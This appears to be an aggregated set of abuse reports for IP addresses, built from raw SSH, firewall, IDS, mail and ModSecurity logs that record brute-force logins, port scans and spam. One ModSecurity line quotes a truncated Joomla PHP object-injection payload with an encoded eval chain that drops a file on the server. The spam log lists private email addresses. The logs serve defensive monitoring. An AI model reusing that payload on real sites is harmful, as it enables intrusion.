Automatic report - Port Scan Attack

Mar  5 22:56:35 vps647732 sshd[7161]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.159.174.87
Mar  5 22:56:38 vps647732 sshd[7161]: Failed password for invalid user sql from 211.159.174.87 port 55986 ssh2
...

2020-03-05 19:00:27 dovecot_login authenticator failed for ([45.133.99.130]) [45.133.99.130]:58896 I=[192.147.25.65]:25: 535 Incorrect authentication data (set_id=schow@lerctr.org)
2020-03-05 19:00:36 dovecot_login authenticator failed for ([45.133.99.130]) [45.133.99.130]:45988 I=[192.147.25.65]:25: 535 Incorrect authentication data (set_id=@lerctr.org)
2020-03-05 19:00:45 dovecot_login authenticator failed for ([45.133.99.130]) [45.133.99.130]:64352 I=[192.147.25.65]:25: 535 Incorrect authentication data (set_id=@lerctr.org)
...

Mar  5 22:56:03 debian-2gb-nbg1-2 kernel: \[5704531.248820\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=157.245.83.211 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=243 ID=14395 PROTO=TCP SPT=32767 DPT=8545 WINDOW=1024 RES=0x00 SYN URGP=0

Mar  5 23:58:17 vpn01 sshd[22167]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.82.168.213
Mar  5 23:58:19 vpn01 sshd[22167]: Failed password for invalid user 123456 from 58.82.168.213 port 33304 ssh2
...

Mar  5 22:56:09 santamaria sshd\[13475\]: Invalid user XiaB from 139.170.150.214
Mar  5 22:56:09 santamaria sshd\[13475\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.170.150.214
Mar  5 22:56:11 santamaria sshd\[13475\]: Failed password for invalid user XiaB from 139.170.150.214 port 42484 ssh2
...

Mar  5 14:49:59 web1 sshd\[817\]: Invalid user mc from 128.106.195.126
Mar  5 14:49:59 web1 sshd\[817\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=128.106.195.126
Mar  5 14:50:01 web1 sshd\[817\]: Failed password for invalid user mc from 128.106.195.126 port 55173 ssh2
Mar  5 14:58:37 web1 sshd\[1623\]: Invalid user penglina from 128.106.195.126
Mar  5 14:58:37 web1 sshd\[1623\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=128.106.195.126

03/05/2020-17:14:53.238306 194.26.29.107 Protocol: 6 ET SCAN NMAP -sS window 1024

2020-03-0522:55:581j9yTF-0002mv-Pa\<=verena@rs-solution.chH=\(localhost\)[183.89.214.132]:47219P=esmtpsaX=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256CV=noA=dovecot_login:verena@rs-solution.chS=2268id=686DDB88835779CA16135AE2164EB742@rs-solution.chT="Wouldliketogettoknowyou"foralibadri065@gmail.comalimhmoad102@gmail.com2020-03-0522:55:481j9yT5-0002lv-DP\<=verena@rs-solution.chH=\(localhost\)[123.20.159.7]:33268P=esmtpsaX=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256CV=noA=dovecot_login:verena@rs-solution.chS=2296id=7D78CE9D96426CDF03064FF703285D03@rs-solution.chT="Wishtoexploreyou"foramosian643@gmail.comclaudiacanales5702@gmail.com2020-03-0522:56:131j9yTU-0002oV-PF\<=verena@rs-solution.chH=\(localhost\)[156.223.150.93]:38908P=esmtpsaX=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256CV=noA=dovecot_login:verena@rs-solution.chS=2284id=1114A2F1FA2E00B36F6A239B6F3D206E@rs-solution.chT="Justsimplychosetogetacquaintedwithyou"forrichardscolt8337@gmail.comcorbin_jason@live.ca2020-03-0522:55:311j9ySo-0002kO-I0\<=verena@rs-solution.chH=

Mar  5 22:56:16 grey postfix/smtpd\[25588\]: NOQUEUE: reject: RCPT from 66-220-155-158.mail-mail.facebook.com\[66.220.155.158\]: 554 5.7.1 Service unavailable\; Client host \[66.220.155.158\] blocked using ix.dnsbl.manitu.net\; Your e-mail service was detected by junk.over.port25.me \(NiX Spam\) as spamming at Thu, 05 Mar 2020 14:20:25 +0100. Your admin should visit http://www.dnsbl.manitu.net/lookup.php\?value=66.220.155.158\; from=\ to=\ proto=ESMTP helo=\<66-220-155-158.mail-mail.facebook.com\>
...

Honeypot attack, port: 81, PTR: PTR record not found

Automatic report - Port Scan Attack

[Fri Mar 06 04:55:53.414029 2020] [:error] [pid 26744:tid 139934444496640] [client 125.160.90.206:60552] [client 125.160.90.206] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[oOcC]:\\\\d+:\".+?\":\\\\d+:{.*}" at REQUEST_HEADERS:User-Agent. [file "/etc/modsecurity/owasp-modsecurity-crs-3.2.0/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "406"] [id "933170"] [msg "PHP Injection Attack: Serialized Object Injection"] [data "Matched Data: O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5c0\\x5c0\\x5c0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:5946:\\x22eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvdG1wL3Z1bG4yLnBocCIgOwokZnA9Zm9wZW4oIiRjaGVjayIsIncrIik7CmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEhScGRHeGxQbFoxYkc0aElTQndZWFJqYUNCcGRDQk9iM2NoUEM5MGFYUnNaVD..."] [severity
...

fail2ban

Mar  6 02:04:49 vpn01 sshd[24768]: Failed password for root from 222.186.173.180 port 45394 ssh2
Mar  6 02:05:03 vpn01 sshd[24768]: error: maximum authentication attempts exceeded for root from 222.186.173.180 port 45394 ssh2 [preauth]
...